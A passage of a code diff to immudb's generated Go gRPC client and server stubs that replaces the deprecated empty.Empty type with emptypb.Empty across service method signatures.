context.Context, in *VerifiableSetRequest, opts ...grpc.CallOption) (*VerifiableTx, error) Get(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (*Entry, error) @@ -51,7 +51,7 @@ type ImmuServiceClient interface { // NOT YET SUPPORTED Count(ctx context.Context, in *KeyPrefix, opts ...grpc.CallOption) (*EntryCount, error) // NOT YET SUPPORTED - CountAll(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*EntryCount, error) + CountAll(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*EntryCount, error) TxById(ctx context.Context, in *TxRequest, opts ...grpc.CallOption) (*Tx, error) VerifiableTxById(ctx context.Context, in *VerifiableTxRequest, opts ...grpc.CallOption) (*VerifiableTx, error) TxScan(ctx context.Context, in *TxScanRequest, opts ...grpc.CallOption) (*TxList, error) @@ -60,9 +60,9 @@ type ImmuServiceClient interface { // ServerInfoRequest is defined for future extensions. ServerInfo(ctx context.Context, in *ServerInfoRequest, opts ...grpc.CallOption) (*ServerInfoResponse, error) // DEPRECATED: Use ServerInfo - Health(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*HealthResponse, error) - DatabaseHealth(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) - CurrentState(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*ImmutableState, error) + Health(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*HealthResponse, error) + DatabaseHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) + CurrentState(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*ImmutableState, error) SetReference(ctx context.Context, in *ReferenceRequest, opts ...grpc.CallOption) (*TxHeader, error) VerifiableSetReference(ctx context.Context, in *VerifiableReferenceRequest, opts ...grpc.CallOption) (*VerifiableTx, error) ZAdd(ctx context.Context, in *ZAddRequest, opts ...grpc.CallOption) (*TxHeader, error) @@ -70,29 +70,29 @@ type ImmuServiceClient interface { ZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (*ZEntries, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*empty.Empty, error) + CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*emptypb.Empty, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) + CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) CreateDatabaseV2(ctx context.Context, in *CreateDatabaseRequest, opts ...grpc.CallOption) (*CreateDatabaseResponse, error) LoadDatabase(ctx context.Context, in *LoadDatabaseRequest, opts ...grpc.CallOption) (*LoadDatabaseResponse, error) UnloadDatabase(ctx context.Context, in *UnloadDatabaseRequest, opts ...grpc.CallOption) (*UnloadDatabaseResponse, error) DeleteDatabase(ctx context.Context, in *DeleteDatabaseRequest, opts ...grpc.CallOption) (*DeleteDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use DatabaseListV2 - DatabaseList(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) + DatabaseList(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) DatabaseListV2(ctx context.Context, in *DatabaseListRequestV2, opts ...grpc.CallOption) (*DatabaseListResponseV2, error) UseDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*UseDatabaseReply, error) // Deprecated: Do not use. // DEPRECATED: Use UpdateDatabaseV2 - UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) + UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) UpdateDatabaseV2(ctx context.Context, in *UpdateDatabaseRequest, opts ...grpc.CallOption) (*UpdateDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use GetDatabaseSettingsV2 - GetDatabaseSettings(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) + GetDatabaseSettings(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) GetDatabaseSettingsV2(ctx context.Context, in *DatabaseSettingsRequest, opts ...grpc.CallOption) (*DatabaseSettingsResponse, error) FlushIndex(ctx context.Context, in *FlushIndexRequest, opts ...grpc.CallOption) (*FlushIndexResponse, error) - CompactIndex(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) + CompactIndex(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) // Streams StreamGet(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (ImmuService_StreamGetClient, error) StreamSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamSetClient, error) @@ -108,7 +108,7 @@ type ImmuServiceClient interface { StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExportTxClient, error) SQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) - ListTables(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) + ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) DescribeTable(ctx context.Context, in *Table, opts ...grpc.CallOption) (*SQLQueryResult, error) VerifiableSQLGet(ctx context.Context, in *VerifiableSQLGetRequest, opts ...grpc.CallOption) (*VerifiableSQLEntry, error) TruncateDatabase(ctx context.Context, in *TruncateDatabaseRequest, opts ...grpc.CallOption) (*TruncateDatabaseResponse, error) @@ -122,7 +122,7 @@ func NewImmuServiceClient(cc grpc.ClientConnInterface) ImmuServiceClient { return &immuServiceClient{cc} } -func (c *immuServiceClient) ListUsers(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*UserList, error) { +func (c *immuServiceClient) ListUsers(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*UserList, error) { out := new(UserList) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ListUsers", in, out, opts...) if err != nil { @@ -131,8 +131,8 @@ func (c *immuServiceClient) ListUsers(ctx context.Context, in *empty.Empty, opts return out, nil } -func (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateUser", in, out, opts...) if err != nil { return nil, err @@ -140,8 +140,8 @@ func (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserReques return out, nil } -func (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ChangePassword", in, out, opts...) if err != nil { return nil, err @@ -149,8 +149,8 @@ func (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswo return out, nil } -func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ChangePermission", in, out, opts...) if err != nil { return nil, err @@ -158,8 +158,8 @@ func (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePerm return out, nil } -func (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/SetActiveUser", in, out, opts...) if err != nil { return nil, err @@ -168,8 +168,8 @@ func (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUser } // Deprecated: Do not use. -func (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateAuthConfig", in, out, opts...) if err != nil { return nil, err @@ -178,8 +178,8 @@ func (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig } // Deprecated: Do not use. -func (c *immuServiceClient) UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateMTLSConfig", in, out, opts...) if err != nil { return nil, err @@ -196,8 +196,8 @@ func (c *immuServiceClient) OpenSession(ctx context.Context, in *OpenSessionRequ return out, nil } -func (c *immuServiceClient) CloseSession(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) CloseSession(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CloseSession", in, out, opts...) if err != nil { return nil, err @@ -205,8 +205,8 @@ func (c *immuServiceClient) CloseSession(ctx context.Context, in *empty.Empty, o return out, nil } -func (c *immuServiceClient) KeepAlive(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) KeepAlive(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/KeepAlive", in, out, opts...) if err != nil { return nil, err @@ -223,7 +223,7 @@ func (c *immuServiceClient) NewTx(ctx context.Context, in *NewTxRequest, opts .. return out, nil } -func (c *immuServiceClient) Commit(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) { +func (c *immuServiceClient) Commit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) { out := new(CommittedSQLTx) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Commit", in, out, opts...) if err != nil { @@ -232,8 +232,8 @@ func (c *immuServiceClient) Commit(ctx context.Context, in *empty.Empty, opts .. return out, nil } -func (c *immuServiceClient) Rollback(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) Rollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Rollback", in, out, opts...) if err != nil { return nil, err @@ -241,8 +241,8 @@ func (c *immuServiceClient) Rollback(ctx context.Context, in *empty.Empty, opts return out, nil } -func (c *immuServiceClient) TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/TxSQLExec", in, out, opts...) if err != nil { return nil, err @@ -270,8 +270,8 @@ func (c *immuServiceClient) Login(ctx context.Context, in *LoginRequest, opts .. } // Deprecated: Do not use. -func (c *immuServiceClient) Logout(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) Logout(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Logout", in, out, opts...) if err != nil { return nil, err @@ -360,7 +360,7 @@ func (c *immuServiceClient) Count(ctx context.Context, in *KeyPrefix, opts ...gr return out, nil } -func (c *immuServiceClient) CountAll(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*EntryCount, error) { +func (c *immuServiceClient) CountAll(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*EntryCount, error) { out := new(EntryCount) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CountAll", in, out, opts...) if err != nil { @@ -414,7 +414,7 @@ func (c *immuServiceClient) ServerInfo(ctx context.Context, in *ServerInfoReques return out, nil } -func (c *immuServiceClient) Health(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*HealthResponse, error) { +func (c *immuServiceClient) Health(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*HealthResponse, error) { out := new(HealthResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Health", in, out, opts...) if err != nil { @@ -423,7 +423,7 @@ func (c *immuServiceClient) Health(ctx context.Context, in *empty.Empty, opts .. return out, nil } -func (c *immuServiceClient) DatabaseHealth(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) { +func (c *immuServiceClient) DatabaseHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) { out := new(DatabaseHealthResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DatabaseHealth", in, out, opts...) if err != nil { @@ -432,7 +432,7 @@ func (c *immuServiceClient) DatabaseHealth(ctx context.Context, in *empty.Empty, return out, nil } -func (c *immuServiceClient) CurrentState(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*ImmutableState, error) { +func (c *immuServiceClient) CurrentState(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*ImmutableState, error) { out := new(ImmutableState) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CurrentState", in, out, opts...) if err != nil { @@ -487,8 +487,8 @@ func (c *immuServiceClient) ZScan(ctx context.Context, in *ZScanRequest, opts .. } // Deprecated: Do not use. -func (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateDatabase", in, out, opts...) if err != nil { return nil, err @@ -497,8 +497,8 @@ func (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, op } // Deprecated: Do not use. -func (c *immuServiceClient) CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateDatabaseWith", in, out, opts...) if err != nil { return nil, err @@ -543,7 +543,7 @@ func (c *immuServiceClient) DeleteDatabase(ctx context.Context, in *DeleteDataba } // Deprecated: Do not use. -func (c *immuServiceClient) DatabaseList(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) { +func (c *immuServiceClient) DatabaseList(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) { out := new(DatabaseListResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DatabaseList", in, out, opts...) if err != nil { @@ -571,8 +571,8 @@ func (c *immuServiceClient) UseDatabase(ctx context.Context, in *Database, opts } // Deprecated: Do not use. -func (c *immuServiceClient) UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateDatabase", in, out, opts...) if err != nil { return nil, err @@ -590,7 +590,7 @@ func (c *immuServiceClient) UpdateDatabaseV2(ctx context.Context, in *UpdateData } // Deprecated: Do not use. -func (c *immuServiceClient) GetDatabaseSettings(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) { +func (c *immuServiceClient) GetDatabaseSettings(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) { out := new(DatabaseSettings) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/GetDatabaseSettings", in, out, opts...) if err != nil { @@ -617,8 +617,8 @@ func (c *immuServiceClient) FlushIndex(ctx context.Context, in *FlushIndexReques return out, nil } -func (c *immuServiceClient) CompactIndex(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) +func (c *immuServiceClient) CompactIndex(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { + out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CompactIndex", in, out, opts...) if err != nil { return nil, err @@ -1003,7 +1003,7 @@ func (c *immuServiceClient) SQLQuery(ctx context.Context, in *SQLQueryRequest, o return out, nil } -func (c *immuServiceClient) ListTables(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) { +func (c *immuServiceClient) ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) { out := new(SQLQueryResult) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ListTables", in, out, opts...) if err != nil { @@ -1043,27 +1043,27 @@ func (c *immuServiceClient) TruncateDatabase(ctx context.Context, in *TruncateDa // All implementations should embed UnimplementedImmuServiceServer // for forward compatibility type ImmuServiceServer interface { - ListUsers(context.Context, *empty.Empty) (*UserList, error) - CreateUser(context.Context, *CreateUserRequest) (*empty.Empty, error) - ChangePassword(context.Context, *ChangePasswordRequest) (*empty.Empty, error) - ChangePermission(context.Context, *ChangePermissionRequest) (*empty.Empty, error) - SetActiveUser(context.Context, *SetActiveUserRequest) (*empty.Empty, error) + ListUsers(context.Context, *emptypb.Empty) (*UserList, error) + CreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error) + ChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error) + ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) + SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) // Deprecated: Do not use. - UpdateAuthConfig(context.Context, *AuthConfig) (*empty.Empty, error) + UpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error) // Deprecated: Do not use. - UpdateMTLSConfig(context.Context, *MTLSConfig) (*empty.Empty, error) + UpdateMTLSConfig(context.Context, *MTLSConfig) (*emptypb.Empty, error) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) - CloseSession(context.Context, *empty.Empty) (*empty.Empty, error) - KeepAlive(context.Context, *empty.Empty) (*empty.Empty, error) + CloseSession(context.Context, *emptypb.Empty) (*emptypb.Empty, error) + KeepAlive(context.Context, *emptypb.Empty) (*emptypb.Empty, error) NewTx(context.Context, *NewTxRequest) (*NewTxResponse, error) - Commit(context.Context, *empty.Empty) (*CommittedSQLTx, error) - Rollback(context.Context, *empty.Empty) (*empty.Empty, error) - TxSQLExec(context.Context, *SQLExecRequest) (*empty.Empty, error) + Commit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error) + Rollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error) + TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) TxSQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) // Deprecated: Do not use. Login(context.Context, *LoginRequest) (*LoginResponse, error) // Deprecated: Do not use. - Logout(context.Context, *empty.Empty) (*empty.Empty, error) + Logout(context.Context, *emptypb.Empty) (*emptypb.Empty, error) Set(context.Context, *SetRequest) (*TxHeader, error) VerifiableSet(context.Context, *VerifiableSetRequest) (*VerifiableTx, error) Get(context.Context, *KeyRequest) (*Entry, error) @@ -1075,7 +1075,7 @@ type ImmuServiceServer interface { // NOT YET SUPPORTED Count(context.Context, *KeyPrefix) (*EntryCount, error) // NOT YET SUPPORTED - CountAll(context.Context, *empty.Empty) (*EntryCount, error) + CountAll(context.Context, *emptypb.Empty) (*EntryCount, error) TxById(context.Context, *TxRequest) (*Tx, error) VerifiableTxById(context.Context, *VerifiableTxRequest) (*VerifiableTx, error) TxScan(context.Context, *TxScanRequest) (*TxList, error) @@ -1084,9 +1084,9 @@ type ImmuServiceServer interface { // ServerInfoRequest is defined for future extensions. ServerInfo(context.Context, *ServerInfoRequest) (*ServerInfoResponse, error) // DEPRECATED: Use ServerInfo - Health(context.Context, *empty.Empty) (*HealthResponse, error) - DatabaseHealth(context.Context, *empty.Empty) (*DatabaseHealthResponse, error) - CurrentState(context.Context, *empty.Empty) (*ImmutableState, error) + Health(context.Context, *emptypb.Empty) (*HealthResponse, error) + DatabaseHealth(context.Context, *emptypb.Empty) (*DatabaseHealthResponse, error) + CurrentState(context.Context, *emptypb.Empty) (*ImmutableState, error) SetReference(context.Context, *ReferenceRequest) (*TxHeader, error) VerifiableSetReference(context.Context, *VerifiableReferenceRequest) (*VerifiableTx, error) ZAdd(context.Context, *ZAddRequest) (*TxHeader, error) @@ -1094,29 +1094,29 @@ type ImmuServiceServer interface { ZScan(context.Context, *ZScanRequest) (*ZEntries, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabase(context.Context, *Database) (*empty.Empty, error) + CreateDatabase(context.Context, *Database) (*emptypb.Empty, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabaseWith(context.Context, *DatabaseSettings) (*empty.Empty, error) + CreateDatabaseWith(context.Context, *DatabaseSettings) (*emptypb.Empty, error) CreateDatabaseV2(context.Context, *CreateDatabaseRequest) (*CreateDatabaseResponse, error) LoadDatabase(context.Context, *LoadDatabaseRequest) (*LoadDatabaseResponse, error) UnloadDatabase(context.Context, *UnloadDatabaseRequest) (*UnloadDatabaseResponse, error) DeleteDatabase(context.Context, *DeleteDatabaseRequest) (*DeleteDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use DatabaseListV2 - DatabaseList(context.Context, *empty.Empty) (*DatabaseListResponse, error) + DatabaseList(context.Context, *emptypb.Empty) (*DatabaseListResponse, error) DatabaseListV2(context.Context, *DatabaseListRequestV2) (*DatabaseListResponseV2, error) UseDatabase(context.Context, *Database) (*UseDatabaseReply, error) // Deprecated: Do not use. // DEPRECATED: Use UpdateDatabaseV2 - UpdateDatabase(context.Context, *DatabaseSettings) (*empty.Empty, error) + UpdateDatabase(context.Context, *DatabaseSettings) (*emptypb.Empty, error) UpdateDatabaseV2(context.Context, *UpdateDatabaseRequest) (*UpdateDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use GetDatabaseSettingsV2 - GetDatabaseSettings(context.Context, *empty.Empty) (*DatabaseSettings, error) + GetDatabaseSettings(context.Context, *emptypb.Empty) (*DatabaseSettings, error) GetDatabaseSettingsV2(context.Context, *DatabaseSettingsRequest) (*DatabaseSettingsResponse, error) FlushIndex(context.Context, *FlushIndexRequest) (*FlushIndexResponse, error) - CompactIndex(context.Context, *empty.Empty) (*empty.Empty, error) + CompactIndex(context.Context, *emptypb.Empty) (*emptypb.Empty, error) // Streams StreamGet(*KeyRequest, ImmuService_StreamGetServer) error StreamSet(ImmuService_StreamSetServer) error @@ -1132,7 +1132,7 @@ type ImmuServiceServer interface { StreamExportTx(ImmuService_StreamExportTxServer) error SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) SQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) - ListTables(context.Context, *empty.Empty) (*SQLQueryResult, error) + ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) VerifiableSQLGet(context.Context, *VerifiableSQLGetRequest) (*VerifiableSQLEntry, error) TruncateDatabase(context.Context, *TruncateDatabaseRequest) (*TruncateDatabaseResponse, error) @@ -1142,46 +1142,46 @@ type ImmuServiceServer interface { type UnimplementedImmuServiceServer struct { } -func (UnimplementedImmuServiceServer) ListUsers(context.Context, *empty.Empty) (*UserList, error) { +func (UnimplementedImmuServiceServer) ListUsers(context.Context, *emptypb.Empty) (*UserList, error) { return nil, status.Errorf(codes.Unimplemented, "method ListUsers not implemented") } -func (UnimplementedImmuServiceServer) CreateUser(context.Context, *CreateUserRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) CreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateUser not implemented") } -func (UnimplementedImmuServiceServer) ChangePassword(context.Context, *ChangePasswordRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) ChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method ChangePassword not implemented") } -func (UnimplementedImmuServiceServer) ChangePermission(context.Context, *ChangePermissionRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method ChangePermission not implemented") } -func (UnimplementedImmuServiceServer) SetActiveUser(context.Context, *SetActiveUserRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method SetActiveUser not implemented") } -func (UnimplementedImmuServiceServer) UpdateAuthConfig(context.Context, *AuthConfig) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) UpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateAuthConfig not implemented") } -func (UnimplementedImmuServiceServer) UpdateMTLSConfig(context.Context, *MTLSConfig) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) UpdateMTLSConfig(context.Context, *MTLSConfig) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateMTLSConfig not implemented") } func (UnimplementedImmuServiceServer) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented") } -func (UnimplementedImmuServiceServer) CloseSession(context.Context, *empty.Empty) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) CloseSession(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CloseSession not implemented") } -func (UnimplementedImmuServiceServer) KeepAlive(context.Context, *empty.Empty) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) KeepAlive(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method KeepAlive not implemented") } func (UnimplementedImmuServiceServer) NewTx(context.Context, *NewTxRequest) (*NewTxResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method NewTx not implemented") } -func (UnimplementedImmuServiceServer) Commit(context.Context, *empty.Empty) (*CommittedSQLTx, error) { +func (UnimplementedImmuServiceServer) Commit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error) { return nil, status.Errorf(codes.Unimplemented, "method Commit not implemented") } -func (UnimplementedImmuServiceServer) Rollback(context.Context, *empty.Empty) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) Rollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Rollback not implemented") } -func (UnimplementedImmuServiceServer) TxSQLExec(context.Context, *SQLExecRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method TxSQLExec not implemented") } func (UnimplementedImmuServiceServer) TxSQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) { @@ -1190,7 +1190,7 @@ func (UnimplementedImmuServiceServer) TxSQLQuery(context.Context, *SQLQueryReque func (UnimplementedImmuServiceServer) Login(context.Context, *LoginRequest) (*LoginResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method Login not implemented") } -func (UnimplementedImmuServiceServer) Logout(context.Context, *empty.Empty) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) Logout(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Logout not implemented") } func (UnimplementedImmuServiceServer) Set(context.Context, *SetRequest) (*TxHeader, error) { @@ -1220,7 +1220,7 @@ func (UnimplementedImmuServiceServer) 